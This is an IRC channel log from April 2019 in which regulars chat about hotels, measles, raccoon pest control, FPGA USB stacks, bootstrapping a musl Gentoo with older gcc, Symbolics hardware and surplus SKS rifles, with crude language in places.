1909195;1555888463;asciilifeform;http://btcbase.org/log/2019-04-21#1909179 << can't resist to bite into this : chicago also has '5star' w/out bathtub. seen with own eyes. as for bidet, iirc 1 time some hotel magnate had'em installed, and it caused puritanwank on front pages of the fishwrap, hastily removed. ( iirc was in fact chronicled in an ancient mircea_popescu piece ! )
1909196;1555888463;a111;Logged on 2019-04-21 12:43 mp_en_viaje: tokyo has 5 star hotels without bathtubs. boston has 5 star hotels without bidets. dubai managed to have both at some point. and so on.
1909197;1555888627;asciilifeform;http://btcbase.org/log/2019-04-20#1909143 << if he had bought it 10y ago, perhaps erlang would still be usable today, nearly as-found, like gnat . but sadly lived long enuff to deliver it to the http://btcbase.org/log/2018-01-05#1764882 people..
1909198;1555888627;a111;Logged on 2019-04-20 21:42 BingoBoingo: Not making Qntra today is Erlang's Joe Armstrong dying.
1909199;1555888627;a111;Logged on 2018-01-05 06:21 mircea_popescu: https://www.xach.com/naggum/articles/3129644482406982@naggum.no.html << this exchange with fare is pretty amusing/informative both wrt "who is this francois-rene rideau character ?" and as an early "bitcoin improvements from the sewer" sampler/potputre.
1909200;1555888677;asciilifeform;[http://btcbase.org/log/2018-11-28#1875735][oblig mug]
1909201;1555888677;a111;Logged on 2018-11-28 17:14 phf: http://fare.tunes.org/files/pics/lispm/2003-01-19-lispm-fare.jpg << current wrecker of asdf
1909202;1555888870;asciilifeform;[https://www.elobservador.com.uy/nota/confirman-cuarto-caso-de-sarampion-importado-2019411172731][via BingoBoingo's link, moar epidemi-lulz] -- measles apparently nao is a thing in BingoBoingostan
1909203;1555888921;asciilifeform;'El regreso de esta enfermedad que no se detectaba en el país desde 1999...'
1909204;1555889516;BingoBoingo;Indeed. Seems to be getting everywhere recently.
1909205;1555889543;asciilifeform;ever since they decided that vaccine is work of devil, i suppose
1909206;1555889554;BingoBoingo;Not everywhere as in the mumps outbreak last year in the Cowork. As in, bitches be panicking and lining up for vaccination vans.
1909207;1555889594;asciilifeform;mumps is merely unpleasant, not usually crippling
1909208;1555889608;BingoBoingo;Most of them already vaccinated, but... Excuse to stand in line for one to six hours (Other ways without the wait, but they insist on the van where the line is).
1909209;1555889647;asciilifeform;evidently not 'most already vaccinated' if outbreak eh
1909210;1555889711;asciilifeform;meanwhile nailed 1st 'trash panda' of this spring. head popped like melon, eyes ejected.
1909211;1555889860;asciilifeform;imho notbad, for pestcontroller tool that runs on air
1909212;1555890185;asciilifeform;http://trilema.com/wp-content/uploads/2019/04/egeszsegfejlesztesi-pont-46-560x840.jpg << lol!! sks! sovok!111
1909213;1555890288;asciilifeform;[https://archive.is/nBACk][subj.]
1909214;1555890322;asciilifeform;^ claims 1.5mil sold as surplus in usa alone.
1909215;1555890329;asciilifeform;( 'poor man's kalash', of sorts )
1909216;1555890427;asciilifeform;i seem to recall that BingoBoingo had 1
1909217;1555891215;asciilifeform;in entirely unrelated heathen lulz : asciilifeform found an -- apparently working -- usb 'serial device' stack for ice40 . only eats 1/3 of the LUTs in the '8k', too.
1909218;1555891237;asciilifeform;( + obv. 2 i/o pins, 'd+'/'d-' )
1909219;1555891319;asciilifeform;some fella sat for a year , grunting it out, sorta like [http://www.loper-os.org/?p=702][asciilifeform in 2012 did -- for a now-extinct chip]
1909220;1555891394;asciilifeform;$item claims to do 12Mbaud .
1909221;1555891577;asciilifeform;potentially a long-term cure for ye olde [http://btcbase.org/log/2017-04-11#1641998][headache with fg's ttl plugs].
1909222;1555891577;a111;Logged on 2017-04-11 01:57 asciilifeform: mod6: if you want to talk to a ttl-usb serial dongle, you gotta match one of the classical baud rates, or you get rubbish (and not the desired rubbish, either, but patterned rubbish -- or nothing at all)
1909223;1555891690;*;asciilifeform bbl:meat
1909224;1555918855;spyked;in spyked updates: feedbot-iii is scheduled to be published this week, followed by schedule for next work, followed by (by now late) pics from http://btcbase.org/log/2019-04-06#1907055
1909225;1555918855;a111;Logged on 2019-04-06 05:08 spyked is off into the mountains
1909226;1555919112;spyked;meanwhile, asciilifeform's lappie arrived last week, I'ma encuntooate it soon. I expect it'll be a bit of a challenge to compile on 1GB of RAM: cuntoo bootstrapping sadly requires building gcc-5, which iirc asks for more than that. either way, I'ma put this on the list as the next item to document.
1909227;1555919173;spyked;and in http://trilema.com/2019/the-egeszsegfejlesztesi-pont/#selection-153.0-158.0 lulz <-- /me was looking for more photos of this wonderful town, stumbled upon http://archive.is/cXfL7 ; notbad trolling
1909228;1555919335;spyked;http://btcbase.org/log/2019-04-17#1908775 <-- I also signed pre-keccak chs 1-5 and will resign upon reread
1909229;1555919335;a111;Logged on 2019-04-17 16:24 asciilifeform: unrelatedly : phf , iirc you signed a coupla ch of ffa prior to the keccak regrind. didja ever sign the reground chs ?
1909230;1555941691;asciilifeform;spyked: iirc that box eats commonplace lappy so-dimm
1909231;1555941722;asciilifeform;circa 2010 or so. visit the flea market.
1909232;1555941753;*;asciilifeform sadly did not happen to have any of the requisite type, or would've put in
1909233;1555942111;asciilifeform;BingoBoingo: will set up your refueling today.
1909234;1555942882;diana_coman;http://btcbase.org/log/2019-04-21#1909210 -> now I get it why asciilifeform doesn't play computer games anymoar - can't compete with real trash pandas!
1909235;1555942882;a111;Logged on 2019-04-21 23:35 asciilifeform: meanwhile nailed 1st 'trash panda' of this spring. head popped like melon, eyes ejected.
1909236;1555942890;asciilifeform;lol
1909237;1555942940;diana_coman;I had only one instance of a crow-eating-eyes-out-of-roadkill-hedgehog but I was sadly in a hurry and by the time I came back there was no trace of it left
1909238;1555942973;asciilifeform;i nealy asked 'why wouldja shoot a hedgehog' but then reread lol
1909239;1555943030;diana_coman;I actually like hedgehogs but if it didn't have enough brain to roam the gardens only...
1909240;1555943152;asciilifeform;diana_coman: iirc we had thrd re 'trash panda' ; picture aggressive 20kg rat, eats e.g. cat, tunnels through drywall, w/out breaking a sweat
1909241;1555943234;asciilifeform;with opposable thumb (!) opens rubbish bins, even turns door knobs
1909242;1555943257;diana_coman;ugh; I hate rats as it is, no need for bigger ones; that being said, I can already picture the euloran "stan's layr" complete with lumber-electronics a la http://ossasepia.com/2018/06/26/euloras-own-cr50/ and weird rats/trash pandas to fight for resources.
1909243;1555943281;asciilifeform;heh
1909244;1555943295;*;asciilifeform brb:tea
1909245;1555943320;*;diana_coman will dive back into euloran client entrails
1909246;1555943351;spyked;asciilifeform, unfortunately 2GB (max. supported by motherboard) might still not be enuff. ideally I would plug in ave1 gnat build and use it to build a minimal system, but will prolly have to bootstrap the whole thing on another machine.
1909247;1555943360;*;spyked will cross that bridge when he comes to it
1909248;1555945359;asciilifeform;spyked: i admit that i still dunget why it needs the gcc5 step
1909249;1555945389;asciilifeform;i.e. i was able to build conventional gentoo ( per my old recipe ) w/out any such thing in the mix
1909250;1555945411;asciilifeform;incl. for a 2gb rk box
1909251;1555948973;trinque;reason is in the logs.
1909252;1555949009;trinque;your traditional recipe is not on musl
1909253;1555949029;asciilifeform;indeed it wasnt
1909254;1555949033;trinque;if somebody finds a way of leaping directly from gcc6 to 4, I'll applaud him, but I'm not burning any more hours of life in there
1909255;1555949038;asciilifeform;!#s from:trinque gcc5
1909256;1555949038;a111;2 results for "from:trinque gcc5", http://btcbase.org/log-search?q=from%3Atrinque%20gcc5
1909257;1555949042;asciilifeform;hm
1909258;1555949060;asciilifeform;trinque: do you perchance have the thread handy
1909259;1555949096;trinque;http://btcbase.org/log/2017-12-23#1757349
1909260;1555949096;a111;Logged on 2017-12-23 04:39 trinque: I just ran over here, build craps out of gcc-4 with "cannot create executables"
1909261;1555949101;asciilifeform;ty
1909262;1555949105;trinque;no prob
1909263;1555949179;trinque;what I'd *really* like is a binary-reproducible gcc of any stripe, and to create an official image from that, have others duplicate
1909264;1555949398;asciilifeform;trinque: as i understand , orig problem is that the stage3 shipped a gcc6 ?
1909265;1555949463;asciilifeform;( and that no one had baked a musl stage3 that could be worked from that had <5 ? )
1909266;1555949507;trinque;http://distfiles.gentoo.org/experimental/amd64/musl/ << yep, they purge them pretty aggressively
1909267;1555949588;asciilifeform;i was able to bake a musl 'busybox' linux for pogo in '15, but admittedly this was not a gentoo
1909268;1555949599;asciilifeform;but seems like oughta be doable for a gentoo
1909269;1555949607;asciilifeform;( i.e. w/ gcc4.9 )
1909270;1555949739;*;asciilifeform really must dust off the old notes and try this with own hands; the presence of gcc5 in the build bothers asciilifeform not only from 'practical' but from thompsonistic pov
1909271;1555949759;trinque;why not gcc3 or 2 then? where'd the thompson come in?
1909272;1555949785;asciilifeform;trinque: speaking moar from concrete than theoretical pov -- gcc5 has documented 'optimizations' that remove bounds checks
1909273;1555949815;trinque;anyhow, my project here was to take a snapshot of a working gentoo musl, i.e. a snapshot of the work of others. I intentally kept myself out of the chain of custody of all deps.
1909274;1555949826;trinque;*intentionally
1909275;1555949835;asciilifeform;trinque: makes sense
1909276;1555949868;trinque;it does not mean that all must e.g. not substitute their own gcc. it just means that this ground, however undesirable, will not be lost like every other time I said "eh gonna go install another gentoo"
1909277;1555949895;trinque;in fact, now that caught, repair *should* commence. gcc is the best first thing to fix.
1909278;1555949936;asciilifeform;has anyone attempted to build the whole orchestra on ave1's gcc ?
1909279;1555949959;trinque;his gcc does not build upon musl, so I have not. prodded him a few times about getting his to run on a musl box.
1909280;1555949966;asciilifeform;hm.
1909281;1555949995;asciilifeform;seems like that there's the 1st item to fix.
1909282;1555950001;trinque;would be great to see ave1 take this on, and then perhaps get deterministic bins. could cut official ISOs from there
1909283;1555950015;asciilifeform;!#seen ave1
1909284;1555950015;a111;2019-02-19 <ave1> Btw asciilifeform, I had to switch my cheap NFS account to a more expensive one as php 5.6 is no longer supported in their new setup. I expect that sometime, at the end of this year, 5.6 will also disappear from  "production" sites.
1909285;1555950040;asciilifeform;ugh, lost at sea?!
1909286;1555950449;BingoBoingo;asciilifeform: ty, generally people are back to work now that "semana de tourismo" has come to an end
1909287;1555950486;asciilifeform;BingoBoingo: refuel scheduled, nao waiting' for the traditional telephonic tea ceremony from bank etc
1909288;1555950540;BingoBoingo;[black-thumbsup-emoji]
1909289;1555950694;BingoBoingo;And the locals now want to ban the last cowboysport left in the Country over two dead horses https://www.elobservador.com.uy/nota/jineteadas-una-tradicion-apoyada-por-el-estado-en-jaque-tras-las-muertes-de-caballos-en-el-ruedo-2019421201657
1909290;1555950755;asciilifeform;lol, is this the usual 'ohnoez, what if a legate from clintonistan sees a dead horse!111' ?
1909291;1555950758;BingoBoingo;Las Jineteadas are like bullriding, except bulls are sacred cattle here so instead they piss off some horses and proceed from the bullriding premise
1909292;1555950807;BingoBoingo;asciilifeform: The tards started their appeal to INAU, the agency for child and adolescent matters
1909293;1555950825;BingoBoingo;"Stink of the Children!"
1909294;1555950871;asciilifeform;wtf
1909295;1555950946;PeterL;http://btcbase.org/log/2019-04-21#1909210 << are you shooting the raccoons with a SKS, or am I mistakenly mixing these log lines together?
1909296;1555950946;a111;Logged on 2019-04-21 23:35 asciilifeform: meanwhile nailed 1st 'trash panda' of this spring. head popped like melon, eyes ejected.
1909297;1555950946;lobbesbot;PeterL: Sent 1 day, 16 hours, and 28 minutes ago: <billymg> yup, if you want the patch that fixes svg image links you can grab mp-wp_update-image-references-to-svg from here http://btcbase.org/patches?patchset=mp-wp&search= - although i recommend going for the latest patch on that page
1909298;1555950956;asciilifeform;PeterL: lolno
1909299;1555950962;asciilifeform;PeterL: unrelated threads.
1909300;1555950970;PeterL;ah, ok
1909301;1555950977;BingoBoingo;The old women are upset so they say "bad for children" just like in old country. And new mayor of Montevideo hasn't even been on the job for a whole month.
1909302;1555950993;BingoBoingo;Air gun kills trash pandas
1909303;1555951050;asciilifeform;PeterL: in city , can't use anyffin that can be heard even from across street
1909304;1555951091;asciilifeform;PeterL: the sks comment was re mp's budapest 'changing of the guard' photo
1909305;1555951117;asciilifeform;where there was a d00d in old-style austrohungarian uniform but with old sovok rifle
1909306;1555951145;PeterL;well, SKS is a pretty riffle when it is shiny
1909307;1555951163;asciilifeform;dunno where you will see a shiny one, outside of museum
1909308;1555951180;BingoBoingo;I've seen the chicoms chrome them for honor guards
1909309;1555951181;asciilifeform;item dates to late '40s
1909310;1555951218;PeterL;I was in a gun store in 2010, they had an SKS for $120, but I didn't get it, wish I did, now they run about $450 around here
1909311;1555951226;asciilifeform;at 1 time, they were sold in usa for next to nuffin, aha
1909312;1555951230;BingoBoingo;And the Yugos chrome the inside of the barrels
1909313;1555951252;asciilifeform;BingoBoingo: i thought this was standard, from end of ww2 to present day
1909314;1555951256;PeterL;I thought it was everybody but yugo's chrome the barrel?
1909315;1555951266;BingoBoingo;Maybe I got it flipped
1909316;1555951285;PeterL;yugos are the ones who added a grenade launcher to the end
1909317;1555951286;BingoBoingo;But pretty rifle for hunting deer sized animals
1909318;1555951289;BingoBoingo;AH
1909319;1555951301;asciilifeform;iirc sovok was 1st to chrome inside , they carried on using corrosive hg-based primer in shell long past when others quit
1909320;1555951738;PeterL;http://btcbase.org/log/2019-04-18#1909077 << I always picture arrays going left-to-right or top-to-bottom, like you would see if you tell a computer "for x in my_array: print x"
1909321;1555951738;a111;Logged on 2019-04-18 22:15 mod6: I try to keep it in my mind that this is an ~array~ of words.  And in my head, arrays grow left to right.  Or bottom up.
1909322;1555951889;PeterL;http://btcbase.org/log/2019-03-15#1902839 << Am I the only one who wears jeans here? I find them comfortable and they are sturdy, good for getting work done.
1909323;1555951889;a111;Logged on 2019-03-15 13:12 diana_coman: http://btcbase.org/log/2019-03-15#1902694 -> I always thought jeans were cowboy stuff, not miner; and at least initially part of the "waiting for the americans" i.e. a tribute to an imagined greatness; how it morphed afterwards into an uniform I have no idea.
1909324;1555952469;BingoBoingo;I don't much anymore. Towels coming out of the wash buckets dry faster than jeans.
1909325;1555952550;asciilifeform;BingoBoingo: here's an old asciilifeform crackpottery : why exactly can't one buy clothes dryer that runs on vacuum pump, instead of heater.
1909326;1555952573;asciilifeform;easily 10x less current for same result, and no moar firehazard etc.
1909327;1555952587;asciilifeform;( every dry anyffin under vacuum ? )
1909328;1555952597;PeterL;can you run vacuum pump on natural gas?
1909329;1555952604;BingoBoingo;Same reason you can't get borosilicate in the US outside of flea markets, drugwar.
1909330;1555952604;asciilifeform;lol whythefuq
1909331;1555952629;asciilifeform;PeterL: why wouldja want to run the pump on gas?!
1909332;1555952636;asciilifeform;no electric service where you live ?
1909333;1555952639;PeterL;well, my dryer runs on gas
1909334;1555952665;asciilifeform;rright cuz otherwise it'd eat 5kw
1909335;1555952684;asciilifeform;but it only takes ~100w for perhaps ~hour to draw a coupla buckets' sized vacuum
1909336;1555952717;asciilifeform;granted you need a reasonably thick and airtight pot for this
1909337;1555952783;PeterL;I think you are underestimating the power that you would need for this
1909338;1555952815;PeterL;you don't just have to get the vacuum, you also have to vaporize the water
1909339;1555952863;asciilifeform;i suppose you'd still have to supply the 23kj/kg or what was the heat of enthalpy
1909340;1555952914;asciilifeform;imho would still be useful tho, to have a suitcase-sized item that can wash and dry a single shirt..
1909341;1555952959;PeterL;I run about 10 loads of wash a week, I don't want something that only handles one T-shirt at a time
1909342;1555952965;asciilifeform;err 2.3
1909343;1555952990;asciilifeform;PeterL: thinking moar re travel applications
1909344;1555953356;BingoBoingo;I've got a clothing fork on the balcony that holds quite a bit, but denim just doesn't seem to dry completely before dew falls i the night and gets it wet again.
1909345;1555953391;asciilifeform;BingoBoingo: i have neighbours who use clotheslines; the prob is that these ~dunwork ~atall over here 4-5 months of year
1909346;1555953419;asciilifeform;( i.e. what you hang out, gets wetter, not dryer )
1909347;1555953560;BingoBoingo;I get the sun and wind. Even somewhat sheltered from most rain. More wind can be summoned with the heat pump too. For just about everything except demin it works.
1909348;1555953838;asciilifeform;here of course also 'sun and wind'. but + also swamp.
1909349;1555953924;BingoBoingo;AHA
1909350;1555964243;BingoBoingo;In other olds becoming news Rodrigo of http://btcbase.org/log/2018-08-08#1840381 http://btcbase.org/log/2018-09-04#1847576 sent me a message out of the blue inquiring how the business is going.
1909351;1555964243;a111;Logged on 2018-08-08 17:01 BingoBoingo: In other happy news, ben_vulpes may appreciate... Rodrigo is no longer with Latecho
1909352;1555964243;a111;Logged on 2018-09-04 16:24 BingoBoingo:  <mircea_popescu> speaking of which, BingoBoingo you ARE making cozy with dc tech people rite ? taking them out to smoke & crimping them to pot or w/e it is they do socially there ? << Fairly friendly with them now that Rodrigo (Fellow who decided to be the point man in the February affair, ben_vulpes met) is gone.
1909353;1555964813;BingoBoingo;Follow up: Wants to know if anyone is hiring, informed him a couple datacenter places in Sao Paulo appear to be growing fast.
1909354;1555973183;feedbot;http://qntra.net/2019/04/in-us-capital-pro-maduro-protestors-march-against-guaido-at-embassy/ << Qntra -- In US Capital Pro-Maduro Protestors March Against Guaid At Embassy
1909355;1555976077;billymg;!!pay-invoice BingoBoingo 3
1909356;1555976085;deedbot;Get your OTP: http://p.bvulpes.com/pastes/zuwx6/?raw=true
1909357;1555976115;billymg;!!v A0A1E9E4A6069710E3C0A84C4B1FF28C8C80D34AB32168F05E18DAF79D85CCBD
1909358;1555976119;deedbot;billymg paid BingoBoingo invoice 3
1909359;1556024956;mp_en_viaje;hola!
1909360;1556025105;asciilifeform;ohai mp_en_viaje !
1909361;1556025119;mp_en_viaje;http://btcbase.org/log/2019-04-21 << 1337 word day!!!
1909362;1556025122;mp_en_viaje;how goes alfie ?
1909363;1556025163;asciilifeform;ffa text massage , mostly
1909364;1556025171;asciilifeform;an' you, mp_en_viaje ?
1909365;1556025181;asciilifeform;still 'buchapest' ?
1909366;1556025196;mp_en_viaje;http://btcbase.org/log/2019-04-21#1909189 << naah. also left behind all sorta electronics etc. it's nonsensical to take peaches to the orchard.
1909367;1556025196;a111;Logged on 2019-04-21 20:53 asciilifeform: http://trilema.com/2019/the-egeszsegfejlesztesi-pont/#selection-113.185-113.231 << lol he did bring the merc ?!
1909368;1556025207;mp_en_viaje;asciilifeform, prolly going to prague this weekend.
1909369;1556025212;mp_en_viaje;well, either that or marakesh.
1909370;1556025215;asciilifeform;nifty
1909371;1556025244;mp_en_viaje;i dunno if you know the subtext there, but anyway, at some point in the 90s romanians got REALLY butthurt someone thought budapest is the capitol.
1909372;1556025293;asciilifeform;lol!
1909373;1556025313;mp_en_viaje;ah yes, it was michael jackson.
1909374;1556025499;mp_en_viaje;oh no, wait, it wasn't michael jackson. it was that retarded fat fuck that subbed for bruce dickinson in 1995.
1909375;1556025775;mp_en_viaje;http://btcbase.org/log/2019-04-21#1909192 << ongoing for a while, hence http://btcbase.org/log/2018-05-23#1817349
1909376;1556025775;a111;Logged on 2019-04-21 20:56 feedbot: http://qntra.net/2019/04/mexican-troops-draw-weapons-make-us-soldiers-their-bitch-on-us-side-of-rio-grande/ << Qntra -- Mexican Troops Draw Weapons, Make US Soldiers Their Bitch On US Side Of Rio Grande
1909377;1556025775;a111;Logged on 2018-05-23 03:37 mircea_popescu: Mocky, there's a usg-reservation in mexico. there's however also the headquarters of the only military force to humiliate the usg at home to date, they pretty much conquered the old mexican lands well into arizona.
1909378;1556025999;mp_en_viaje;http://btcbase.org/log/2019-04-21#1909212 << you know ? pretty lulzy i thought.
1909379;1556025999;a111;Logged on 2019-04-21 23:43 asciilifeform: http://trilema.com/wp-content/uploads/2019/04/egeszsegfejlesztesi-pont-46-560x840.jpg << lol!! sks! sovok!111
1909380;1556026006;mp_en_viaje;clone guards in clone guns.
1909381;1556026115;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909217 << notbad.
1909382;1556026115;a111;Logged on 2019-04-22 00:00 asciilifeform: in entirely unrelated heathen lulz : asciilifeform found an -- apparently working -- usb 'serial device' stack for ice40 . only eats 1/3 of the LUTs in the '8k', too.
1909383;1556026291;asciilifeform;mp_en_viaje: it still gotta be eaten & characterized, if to be used.
1909384;1556026296;mp_en_viaje;tru
1909385;1556026352;asciilifeform;tho i do find it interesting, that it is difficult ( unlike on von neumann cpu ) to write a fpga filling that 'worx sometimes'
1909386;1556026869;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909224 << sweet.
1909387;1556026869;a111;Logged on 2019-04-22 07:40 spyked: in spyked updates: feedbot-iii is scheduled to be published this week, followed by schedule for next work, followed by (by now late) pics from http://btcbase.org/log/2019-04-06#1907055
1909388;1556026890;mp_en_viaje;in other sweet : apparently hotel had fire drill while we were away.
1909389;1556026900;mp_en_viaje;best way to do these, i always say : while im not there.
1909390;1556027360;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909246 << holy shit what the fuck's the point of all the http://btcbase.org/log/2019-02-17#1897508 / http://btcbase.org/log/2019-02-17#1897508 etc etc shenanigans, if they don't fit in a fucking 2147483648 byteschunk!
1909391;1556027360;a111;Logged on 2019-04-22 14:29 spyked: asciilifeform, unfortunately 2GB (max. supported by motherboard) might still not be enuff. ideally I would plug in ave1 gnat build and use it to build a minimal system, but will prolly have to bootstrap the whole thing on another machine.
1909392;1556027360;a111;Logged on 2019-02-17 15:03 mircea_popescu: "/* The count field we have in the main struct object is somewhat limited, but should suffice for virtually all cases.  If the counted value doesn't fit, re-write a zero.  The worst that happens is that we re-count next time -- admittedly non-trivial in that this implies some 2M fdes, but at least we function.  */"
1909393;1556027556;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909249 << cuz musltronic.
1909394;1556027556;a111;Logged on 2019-04-22 15:03 asciilifeform: i.e. i was able to build conventional gentoo ( per my old recipe ) w/out any such thing in the mix
1909395;1556027589;mp_en_viaje;o heh, i'm a day late.
1909396;1556027672;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909254 << nah, not worth doing. the approach is probably to find some other way, tcc or w/e, to replace the gcc step-by-step peeling of layers of filth.
1909397;1556027672;a111;Logged on 2019-04-22 16:03 trinque: if somebody finds a way of leaping directly from gcc6 to 4, I'll applaud him, but I'm not burning any more hours of life in there
1909398;1556027863;mp_en_viaje;just because the entire [http://btcbase.org/log/2019-03-26#1904859]["mes" thing] turned out to be a single dude who further turned out to be a moron does not immediately resolve the matter of whether tcc can be bent into usable shape ; nor whether it should be confiscated wioth a view towards such bending.
1909399;1556027863;a111;Logged on 2019-03-26 19:58 mircea_popescu: bvt, http://archive.is/febOU#selection-255.67-255.135 challenge specifically offers you excellent entry point : there's a bunch of contact details available, what's "me" resolve to as a provision endpoint.
1909400;1556027923;mp_en_viaje;but it seems doubtless that on the long term, the eulora-style of "isolate, strangle and diminish" approach is the only way to handle c. rather than provide support for it, produce some kind of small and compact translator that permits most of the "features" it "offers" to die quietly while not getting in our way in any major sense.
1909401;1556027999;mp_en_viaje;basically, c (not the code, nor the language -- the UNIVERSE, all encompassing, the mentalities of all they involved, their cultural productions over the decades, the horses they used and the women they mounted -- the whole universe) is a wart upon reason. like a hemorrhoid or something. you take your wart to the doctor, he ties a string tightly around it and well... it falls off eventually.
1909402;1556028055;mp_en_viaje;nobody does micro-surgery to re-allign the tiny rectal blood vessels and remove the hernia that caused the hemorrhoid in the first place. i don' tthink we should either, but rather, discover some working and workable string.
1909403;1556028130;mp_en_viaje;i confess i had hoped this may solve itself ; but then again c evidently only attracts a certain kind of person. whatever it may be they ~say~, whenever it seems
1909404;1556028152;mp_en_viaje;"not particularly c-retarded" the apparence is strictly due to ~their lieing~.
1909405;1556028194;mp_en_viaje;when push comes to shove, the dude writing the page about "how to fix c" that seemed sane on superficial examination will come out as exactly the same mind as what produced the problem in the first place.
1909406;1556028377;mp_en_viaje;i suppose this is not even vaguely new, at least not to people familiar with politics. http://www.ilcaragiale.eu/opere/articole/frati_radicali.html is from 1890s ; but otherwise, the "very principled and intransigent opposition politician" is... well... http://www.ilcaragiale.eu/opere/momente_si_schite/unchiul_si_nepotul.html
1909407;1556028684;asciilifeform;http://btcbase.org/log/2019-04-23#1909401 << whatever else can be said re bolix -- they had the Right Thing pill for this. 'yes you can build a c proggy on this iron; no it won't [http://www.loper-os.org/?p=165#selection-79.0-85.510][win you 'speed'].'
1909408;1556028684;a111;Logged on 2019-04-23 13:59 mp_en_viaje: basically, c (not the code, nor the language -- the UNIVERSE, all encompassing, the mentalities of all they involved, their cultural productions over the decades, the horses they used and the women they mounted -- the whole universe) is a wart upon reason. like a hemorrhoid or something. you take your wart to the doctor, he ties a string tightly around it and well... it falls off eventually.
1909409;1556028737;mp_en_viaje;myeah
1909410;1556028806;asciilifeform;i've been slowly eating the http://btcbase.org/log/2019-04-01#1906471 + relateds, and seeing exactly how this was baked, it is quite interesting.
1909411;1556028806;a111;Logged on 2019-04-01 14:08 asciilifeform: in other noose, asciilifeform nao has what appears to be full pinout, timing, bus sequence, register, init magic, interrupts, etc. spec for bolix 'ivory' (won't, presently, say from where, unless source wants to be cited, plox to write in. )
1909412;1556028829;mp_en_viaje;how long you got till ffa series done ?
1909413;1556028853;asciilifeform;mp_en_viaje: at least month -- there's a heavy piece i haven't even started yet -- keccak
1909414;1556028876;asciilifeform;i dun expect to make any major changes to the numerics, however
1909415;1556028891;asciilifeform;( will add 'rotate' and 'conventional exponent' , that's it for them )
1909416;1556028909;mp_en_viaje;alright, well, month's not bad -- by the time you're done with ffa you can start a mega-bolix series.
1909417;1556028925;mp_en_viaje;AND, with all the experience from ffa, you actually got what you need as a basis to actually make that megaspire work.
1909418;1556028935;mp_en_viaje;but DO NOT run off to that before finishing this.
1909419;1556028936;asciilifeform;next item on conveyor is pizarro battlefield. but prolly can run in parallel.
1909420;1556028944;mp_en_viaje;possibru
1909421;1556028959;asciilifeform;mp_en_viaje: i've deliberately not gone beyond 'read papers in hammock' stage for bolixism, on acct of this.
1909422;1556028967;mp_en_viaje;cool.
1909423;1556028993;asciilifeform;1st item tho will be to bake the cpu interposer i drew up the day i got the seekritdirt.
1909424;1556029010;asciilifeform;little flex pcb thing, inserts under the 'ivory' and brings the signals out to analyzer.
1909425;1556029048;asciilifeform;thing moves at 8mhz and has slightly more than 100 active signal lines, not esp. tall order.
1909426;1556029098;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909271 << we picked 4.something as an arbitrary cutoff at some point illo tempore, through a mostly passive schelling / ad hoc agreement procedure. whatever the merits of the actual spot picked -- picking MULTIPLE ones is bad in the sense you get the downside multipled and nothing else.
1909427;1556029098;a111;Logged on 2019-04-22 16:15 trinque: why not gcc3 or 2 then? where'd the thompson come in?
1909428;1556029099;asciilifeform;( funny thing, it actually has a debug pin that pisses out microcode index of current microinstruction )
1909429;1556029106;mp_en_viaje;you know what i mean ?
1909430;1556029126;asciilifeform;mp_en_viaje: not entirely arbitrary, there was a ~massive~ increase in bulk + documented wtf's at 5.0
1909431;1556029133;mp_en_viaje;asciilifeform, cuz built to be repaired huh.
1909432;1556029162;mp_en_viaje;asciilifeform, "arbitrary', yes. the sorta arbitrary we do here, only called that in the sense i am not about to engage the relativistic dorkitudes of pantsuited morons.
1909433;1556029165;asciilifeform;mp_en_viaje: was built to be debugged, it their 1st (and last) piece of in-house silicon
1909434;1556029172;asciilifeform;*it was
1909435;1556029251;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909277 << possibly ; though also rather large and involved. but we see.
1909436;1556029251;a111;Logged on 2019-04-22 16:18 trinque: in fact, now that caught, repair *should* commence. gcc is the best first thing to fix.
1909437;1556029273;*;mp_en_viaje will not argue with hero who knows what he's doing.
1909438;1556029318;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909282 << at the very least a well documkented failed attempt will provide plenty of most informative tidbits.
1909439;1556029318;a111;Logged on 2019-04-22 16:20 trinque: would be great to see ave1 take this on, and then perhaps get deterministic bins. could cut official ISOs from there
1909440;1556029392;asciilifeform;mp_en_viaje: the 'snip out timestamp nonsense from gcc' thing has been itching since '15
1909441;1556029411;asciilifeform;( afaik that's the only source of nondeterminism , at least for particular frozen gcc pov )
1909442;1556029447;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909295 << he's got a hydraulic rotating platform, firing gau-8 HE shells.
1909443;1556029447;a111;Logged on 2019-04-22 16:35 PeterL: http://btcbase.org/log/2019-04-21#1909210 << are you shooting the raccoons with a SKS, or am I mistakenly mixing these log lines together?
1909444;1556029499;asciilifeform;lol actually the item from concan doyle's 'the empty house'
1909445;1556029504;asciilifeform;but similar effect!1
1909446;1556029519;mp_en_viaje;AVENGERlifeform
1909447;1556029572;asciilifeform;( iirc we had thread -- i started with a... cranequin )
1909448;1556029658;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909310 << certainly worth more than that.
1909449;1556029658;a111;Logged on 2019-04-22 16:40 PeterL: I was in a gun store in 2010, they had an SKS for $120, but I didn't get it, wish I did, now they run about $450 around here
1909450;1556029688;mp_en_viaje;rarely seen state of affairs at us gun shops ; generally gun worth 3-500 selling for 1-2k. sks surely worth the 300.
1909451;1556029692;asciilifeform;mp_en_viaje: when sovok folded , usa market was awash in grade-a 'museum' small arms , for pennies
1909452;1556029695;asciilifeform;naodays mostly gone
1909453;1556029707;mp_en_viaje;myeah.
1909454;1556029718;mp_en_viaje;it's really not that terrible.
1909455;1556029722;asciilifeform;( e.g. mosin rifles, nagant revolvers, for <100 )
1909456;1556029733;asciilifeform;in orig. factory grease
1909457;1556029744;mp_en_viaje;of course, the problem with "terrible gun" is that 99.9x% of users are such fucking shit, the gun's shortcomings don't even show in the end product.
1909458;1556029762;asciilifeform;nagant is a pleasure to shoot, btw ( if famously underpowered by modern standards )
1909459;1556029811;mp_en_viaje;if there's one dood in a hundred in whose case the gun's the weak link in the gun-gunner dipole, it's a wonder.
1909460;1556029816;asciilifeform;with hour or 2 practice, novice can hit dinner plate at 40 metres
1909461;1556029832;asciilifeform;( cuz, elementarily , no kg+ of slide goin' back an' forth )
1909462;1556029844;mp_en_viaje;not even limited to marksmanship. it's just a general... look, if you're gonna be the sorta guy who uses rifle, guess who you sleep with at night.
1909463;1556029865;mp_en_viaje;"um... my plushies ?"
